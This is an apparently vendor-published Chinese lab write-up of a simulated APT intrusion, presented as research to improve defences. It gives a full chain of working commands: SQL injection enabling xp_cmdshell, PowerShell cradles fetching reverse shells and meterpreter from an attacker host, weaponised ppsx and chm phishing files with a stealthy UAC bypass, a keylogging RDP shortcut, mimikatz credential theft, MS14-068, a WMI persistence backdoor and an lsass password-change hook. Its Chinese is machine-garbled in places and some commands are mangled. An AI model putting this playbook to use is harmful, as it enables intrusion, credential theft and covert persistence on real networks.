APT攻击方式格式 繁多,我研究近来 的盛行 的APT攻击方式 ,在本地 搭建环境 模仿 一次简单 的APT攻击,在模仿 攻击过程中发现网上公布的poc都会有大巨细 的缺陷,大多数poc实行 过程中都会弹出一闪而过的黑框框 ,我深入分析这些脚本,修改此中 的代码,使其实行 的过程中消除谁人 一闪而过的黑框框 ,从而让中招的不会轻易 产生猜疑 。我研究的目标 是袒露 如许 的攻击过程,让更多的人相识 如许 的攻击过程,从而可以或许 研究出更有效 的防御方法 。
内网的拓扑
拓扑阐明 :
【1】10.101.101.0/24的网段模仿 的是外网的地点
【2】192.168.101.0/24的网段模仿 的是一个小型企业的内网中的应用服务器网络
【3】192.168.111.0/24的网段模仿 的是一个小型企业的内网中的办公网络
【4】企业内网可以无穷 制的访问到外网,但是外网无法访问到企业内网
【5】办公网可以无穷 制的访问到应用服务器网络 ,但是应用服务器网络无法访问到办公网络
【6】部分 服务器打了全部的补丁,而且 保持正常更新
一样平常 扫描
发现此服务器开放80,82端口 ,是windows 2008体系 。在80端口发现有sql注入
起首 看数据库和数据库地点 的服务器版本:
http:/ /10.101.101.13/?page= 1and@@version 0--
数据库是2008r2的,数据库地点 的操纵 体系 是win2008大概 win7然后看数据库:
http:/ /10.101.101.13/?page= 1; ifIS_SRVROLEMEMBER( 'sysadmin')= 1waitfor delay '0:0:5'--
这个语句测试数据库的权限,发现有延时 ,证明 是有数据库的权限是dba的权限然后用:
EXEC sp_configure ' showadvancedoptions ',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell ',1;RECONFIGURE;
打开xp_cmdshell的限定 ,下面创建一个临时 表:
https://10.101.101.13/?page=1; createtabletemp( idintidentity( 1, 1),a varchar( 8000)); --
实行 ipconfig /all并将结果 写入新创建的临时 表中
https://10.101.101.13/?page=1; insertintotemp exec master.dbo.xp_cmdshell 'ipconfig /all'; --
读取结果 :
https://10.101.101.13/?page=1 and ( selectsubstring(( selecta fromtemp forxmlauto), 1, 4000)) 0--
看上去这个网站是站库分离的网站。
然后用这种方法实行 “ping 10.101.101.16”,发现数据库服务器可以通外网 ,获取这些信息之后,我用下面的指令删除创建的临时 表
https://10.101.101.13/?page=1; droptabletemp; --
获取到这么多信息了之后,在本身 的机子上开一个web站点 ,下载nishang的powershell的反弹脚本到本身 的web服务器上:https://github.com/samratashok/nishang ,先在本身 的主机上用nc -lvvp 8888监听8888端口,等待 反弹毗连 。
然后实行
http:/ /10.101.101.13/?page= 1;exec master..xp_cmdshell 'powershell IEX (New-Object Net.WebClient).DownloadString('http:/ /10.101.101.13/Invoke-PowerShellTcp.ps1 ');Invoke-PowerShellTcp -Reverse -IPAddress 10.101.101.13 -port 8888';--
我们可以看到实行 乐成
但是数据库被降权,权限不高 ,如今 我把ms15-051的exp上传到本身 的服务器,用powershell的长途 加载并实行 exe的脚本。实行 这个exp起首 下载powershell的这个脚本
https://github.com/clymb3r/PowerShell/blob/master/Invoke-ReflectivePEInjection/Invoke-ReflectivePEInjection.ps1
然后实行
IEX (New- ObjectNet.WebClient).DownloadString( 'https://10.101.101.13/Invoke-ReflectivePEInjection.ps1');Invoke-ReflectivePEInjection -PEUrl http: //10.101.101.13/x86/ms15-051.exe -ExeArgs "cmd" -ForceA
可以看到提权没有乐成 ,而且 换一个exp也没有乐成
以是 下面上msf继承 探测 先开启msf的监听功能
然后实行
http: //10.101. 101.13/?page= 1; execmaster..xp_cmdshell( 'IEX(New-Object Net.WebClient).DownloadString("https://10.101.101.16/CodeExecution/Invoke-Shellcode.ps1")Invoke-Shellcode -payload windows/meterpreter/reverse_https -lhost 10.101.101.16 -lport 4444 -force')
如许 就从数据库主机上反弹一个meterpreter毗连 了。
先用
useauxiliary/scanner/smb/smb_version
扫描smb来获取内网的信息
发现一个mail服务器 ,用
useauxiliary/scanner/portscan
扫描一下端口 ,发现开放了80端口,25 ,110端口
我用 use auxiliary/server/socks4a 署理 进内网
在乌云镜像内里 没有找到可以用的洞,但是在82端口发现了惊喜
通过弱口令轻松进入到背景 ,发现一个可以天生 静态站的地方
把自界说 静态页面存储主路径改成1.asp ,然后编辑一篇文章,把木马代码放进去,重新天生 静态页面就可以getshell了
这个服务器的82端口不能实行 cmd ,不支持aspx,不能跨目次 到umail,但是在一个奇怪 的地方发现一个一份企业通讯录,下载下来看到管理员邮箱
于是想到用伪造邮件的方法来钓管理员 起首 参考两个文章:
https://www.freebuf.com/vuls/144054.html
https://www.91ri.org/15506.html
第一种方法
起首 用CVE-2017-8570给的exp做一个垂纶 用的ppsx 。由于原来的exp要用poershell下载一个shell.exe再实行 ,如许 轻易 被杀软发现,而且 原来的exp实行 反弹返来 的shell权限不敷 ,以是 要思量 绕过uac,让管理员点击恶意的ppsx后静默反弹一个高权限的shell。假如 用nishang给的Invoke-PsUACme.ps1 ,实行 之后会有一个一闪而过的黑框框,很让人感到猜疑 ,去掉这个一闪而过的黑框框很简单 ,由于 我用oobe的方法在win7上绕过uac,以是 我在这里只先容 在这种条件下去掉黑框框的方法。起首 去掉Invoke-PsUACme.ps1中第206行的“ $execpath ”这个代码,之后在调用Invoke-PsUACme的时间 -payload参数写上你要实行 的下令 ,末了 用rundll32.exe静默启动C:/Windows/System32/oobe/setupsqm.exe
IEX(New- ObjectNet.WebClient).DownloadString( "https://10.101.101.16/uacchm.ps1")
换掉原来exp内里 的powershell调用语句 此中 uacchm.ps1的内容是:
IEX (New- ObjectSystem.Net.WebClient).DownloadString( 'https://10.101.101.16/nishang/Escalation/Invoke-PsUACme.ps1')Invoke-PsUACme -method oobe -Payload 'powershell -win hidden -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwADEALgAxADAAMQAuADEANgAvAGMAaABtAC4AcABzADEAJwApAA=='Start-Process -FilePath rundll32.exe -ArgumentList 'java:"..mshtml,RunHTMLApplication ";new%20ActiveXObject("W.Shell").Run("C:/Windows/System32/oobe/setupsqm.exe",0,true);self.close();'
而此中 enc背面 的数据是颠末 下面的代码编码而成:
$command = "IEX (New-Object Net.WebClient).DownloadString('https://10.101.101.16/chm.ps1')"$bytes = [System.Text.Encoding] ::Unicode.GetBytes($command) $encodedCommand = [Convert] ::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand
编码的内容是:
IEX (New- ObjectSystem.Net.WebClient).DownloadString( 'https://10.101.101.16/chm.ps1')
chm.ps1的内容是:
IEX (New- ObjectSystem.Net.WebClient).DownloadString( "https://10.101.101.16/powersploit/CodeExecution/Invoke-Shellcode.ps1"); Invoke-Shellcode -payload windows/meterpreter/reverse_https -lhost 10.101.101.16-lport 7777-force
改好的exp我放在了
https://github.com/niexinming/safe_tool/blob/master/cve-2017-8570_toolkit.py
用法是:天赋 生 一个恶意的ppsx
python cve -2017-8570_toolkit.py -M gen -w car.ppsx -u http: //10.101.101.16:82/logo.doc
在82端口开启服务
pythoncve-2017-8570_toolkit.py-p82 -Mexp-e10 .101.101.16
Ps: 很多 多少 时间 这个弊端 复现不乐成 ,可以将查察 文件 - 选项,点击 信托 中心 设置:
去掉这些勾就好
第二种方法
这个比力 简单 : 用easy chm做一个恶意的chm就好
此中 我做的test.html放在了
https://github.com/niexinming/safe_tool/blob/master/test.html
Ps:由于PARAM的value的长度好像 有某种限定 ,以是 我把
IEX (New- ObjectNet.WebClient).DownloadString( "https://10.101.101.16/uacchm.ps1")base64
编码之后放入PARAM的value中
两个恶意的文件都制作好了,我如今 用swaks伪造邮件把这两个文档发送出去
如今 静静 等待 管理员点击我们的恶意文件,启动msf的exploit/multi/handler模块时间 用exploit -j就可以让msf在背景 等待 管理员中计 了。 这个时间 发现一个管理员中了我们的木马
由于bypass了uac,以是 返回的是管理员的shell ,我们可以用mimikatz来把暗码 脱出来看看
由于管理员的机子不属于任何域,也不是域账号登岸 ,以是 ,我必要 获取他的在长途 登岸 其他机子的时间 的用户名和暗码 ,根据 《分析 制作俄罗斯APT构造 利用 的快捷方式后门文件》这篇文件的先容 ,我盼望 更换 长途 桌面的快捷方式来监督 管理员的举动 。
思绪 是:
(1)正常启动c:windowssystem32mstsc.exe ,克制 管理员猜疑 ;
(2)由于原来的exp一启动就会有个黑框框一闪而过,要用rundll32的方式来消除黑框框,让恶意代码静态启动;
(3)参数部分 要先加260个空格字符背面 接着为payload代码 ,如许 减小管理员查察 属性的时间 看到payload而产生猜疑 ;
(4)参考 《渗出 本领 ——怎样 奇妙 利用 PSR监控Windows桌面》 这个文章静默启动一个桌面步调 记录 程序 ;
(5)利用 PowerSploit的Get-Keystrokes.ps1的脚原来 记录 键盘记录
(6)记录 一分钟后把记录 的文件隐蔽 起来
(7)启动metasploit的反弹毗连
(8)修改图标(关于C:Windowssystem32SHELL32.dll的图标id,有个网站给的很全面,可以修改转达 给图标id来修改图标)
我把修改好的代码放在 https://github.com/niexinming/safe_tool/blob/master/link.ps1 ,长途 加载的恶意的powershell代码放在了https://github.com/niexinming/safe_tool/blob/master/rlnk.ps1,天生 好恶意的快捷方式之后 ,只要修改rlnk.ps1就可以做你想做的事变 了。
利用 方法
看着已经天生 好了,看一下结果
看着比力 正常 ,用起来也很正常,没有卡顿,没有一闪而过的黑框 。假如 管理员用到长途 登岸 快捷方式去长途 登岸 服务器的话 ,在c:windowstemp目次 下会天生 log.dll,这个内里 记录 的是键盘记录 ,cap.zip记录 的是关键步调 截屏
等管理员启动的恶意的长途 登岸 快捷方式之前 ,可以用管理员的暗码 在应用服务器网段内用use auxiliary/scanner/smb/smb_login碰碰运气
看上去运气不佳啊
等了几天,发如今 这个目次 下有这个东西了
下载之后看到,键盘记录 :
下面是屏幕截图记录
如许 我就得到 了一个平凡 域账号的账户名和暗码 。
下口试 试MS14-068这个弊端 能不能乐成 ,参考文章:
https://note.youdao.com/share/?id=1fe30438ec6ccd66e67c3d1ffdd8ae35type=note#/用proxychain实行 goldenPac.py diattack.com/jack:jackpwd@dns.diattack.com 哇,居然可以攻击
Ps: 攻击的时间 假如 dns在内网要记得hosts的地点 绑定
用得到的shell反弹一个poweshell出来到本地 8888端口,假如 你用下面的语句反弹的话将得到是一个32位的powershell:
powershell IEX (New- ObjectNet.WebClient).DownloadString( 'https://10.101.101.16/nishang/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 10.101.101.16-port 8888
这个时间 你运行
IEX (New- ObjectNet.WebClient).DownloadString( 'https://10.101.101.16/nishang/Gather/Invoke-Mimikatz.ps1');Invoke-Mimikatz
体系 会报错 ,缘故起因 是你不能在32位的shell中运行64位的程程序,这里涉及到一个64位体系 文件重定向的题目 ,参考:https://www.cnblogs.com/lhglihuagang/p/3930874.html。以是 精确 的做法是利用 下面的代码来反弹一个64位的powershell
C:/ /Windows//SysNative/WindowsPowerShell/ /v1.0//powershell.exe IEX (New-Object Net.WebClient).DownloadString('http://10.101.101.16/nishang/Shells/Invoke-PowerShellTcp.ps1 ');Invoke-PowerShellTcp -Reverse -IPAddress 10.101.101.16 -port 8888
这个时间 你运行
IEX (New- ObjectNet.WebClient).DownloadString( 'https://10.101.101.16/nishang/Gather/Invoke-Mimikatz.ps1');Invoke-Mimikat
你就会得到域控管理员的暗码 下面我要在域控上面安装一个潜伏 的后门,参考文章:
https://www.moonsec.com/post-621.html
https://www.secpulse.com/archives/39555.html
https://wooyun.jozxing.cc/static/drops/tips-15575.html
我利用 三好学 生的方法制作一个wmi的后门 ,起首 : 在本身 的web目次 下写一个mof.ps1,这个文件作用是用利用 wmi的定时器的功能让体系 每分钟实行 一次我们的payload,这个mof.ps1我放在https://github.com/niexinming/safe_tool/blob/master/mof_time.ps1。
我还写了一个可以挟制 进程 的powershell脚本 ,我放在https://github.com/niexinming/safe_tool/blob/master/mof_hijack.ps1,这里我用每分钟实行 payload的这个脚本,这里的我的payload我用一个反弹meterpreter毗连 的脚本,mof.txt内里 的内容:
?xml version="1.0"?
![CDATA[var r = new ActiveXObject("W.Shell").Run("powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwADEALgAxADAAMQAuADEANgAvAGMAaABtAC4AcABzADEAJwApAA=="); ]]
enc编码前的内容依然是:
IEX (New- ObjectSystem.Net.WebClient).DownloadString( 'https://10.101.101.16/chm.ps1')
实行 之后 ,每分钟会反弹一个meterpreter的shell,而且重启后依然会反弹
Ps: 这个wmi的后门我在win10上实行 的时间 ,不能实行 payload ,假如 触发到后门的触发条件的话,win10会弹出openwith.exe这个进程 ,界面上看就是这个
查了两资质 料也没有找到一个端庄 的办理 方法 ,但是厥后 把openwith.exe换成cmd.exe就可以实行 payload了,由于 win7和win2008没有openwith,以是 没有碰到 什么阻力就直接实行 payload了,但是win10和win8在正常环境 下就会打开openwith这个后门的整理 方式 ,可以参考https://www.52pojie.cn/thread-607115-1-1.html
我还想放置一个后门,在域控管理员改暗码 的时间 记录 他的新暗码 ,参考:https://wooyun.jozxing.cc/static/drops/tips-13079.html ,留意 他的脚本内里 有一个选项可以从你的web服务器加载一个dll到对方主机内存内里 ,如许 你把你的dll天生 好之后就可以放在你的web服务器下面,在这个ps1最下面参加
Invoke-ReflectivePEInjection -PEUrl http: //10.101.101.16/HookPasswordChange.dll –procname lsass
就可以了 ,然后你把这个脚本的调用参加 到chm.ps1内里 :下面是改动之后chm.ps1内里 的内容:
IEX (New- ObjectSystem.Net.WebClient).DownloadString( "https://10.101.101.16/HookPasswordChangeNotify.ps1")IEX (New- ObjectSystem.Net.WebClient).DownloadString( "https://10.101.101.16/powersploit/CodeExecution/Invoke-Shellcode.ps1"); Invoke-Shellcode -payload windows/meterpreter/reverse_https -lhost 10.101.101.16-lport 7777-force
如许 就可以任何时间 每隔一分钟的时间 可以一方面反弹一个meterpreter的毗连 ,还可以在域管理员改暗码 的时间 记录 他的新暗码
本文先容 了web渗出 ,邮件垂纶 ,后门摆设 等奇技淫巧,尤其针对消除各种一闪而过的cmd弹窗给出了我本身 的办理 思绪 ,假如 有题目 各人 可以在批评 区留言 ,我们共同探究 。
(泉源 :亚信安全)